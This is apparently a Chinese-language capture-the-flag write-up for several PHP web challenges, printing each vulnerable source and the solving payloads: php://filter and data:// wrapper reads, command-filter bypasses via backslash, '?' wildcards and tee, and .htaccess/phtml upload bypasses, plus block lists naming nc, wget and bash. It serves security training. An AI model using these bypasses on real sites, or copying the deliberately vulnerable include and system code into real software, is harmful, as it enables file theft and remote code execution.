ez_ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

/?file=php://filter/read=convert.base64-encode/resource=flag.php

提示换个 php 伪协议,并且 real_flag_is_in_’flag’

ok 了

gift_F12

F12 大法直接拿下

jicao

1
2
3
4
5
6
7
8
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

直接改成 json 的形式就行了

Do_you_know_http

ez_http

导弹迷踪

js 代码里找 flag

WebFTP

扫描目录得到这个,访问一下就行了

babyRCE

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

反斜杠绕过

finalrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

使用 tee 命令

访问 1.txt

访问flllllaaaaaaggggggg,注意 la 被 ban 了,加一个问号进行绕过。

/?url=tac /flllll?aaaaaggggggg|tee 1.txt

PseudoProtocols

php 伪协议直接读文件

1
2
3
4
5
6
7
8
9
10
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>

使用 data 伪协议可以直接让 file_get_contents()直接返回改字符串

?a=data://text/plain,I want flag

easyupload1.0

ez_upload

wc,fakeflag

改你文件!!!看看 phpinfo

flag 在此

easyupload2.0

爆破试试,结果 phtml 成功了

文件有点多了 hh

不是假 flag 了

easyupload3.0

.htaccess 文件绕过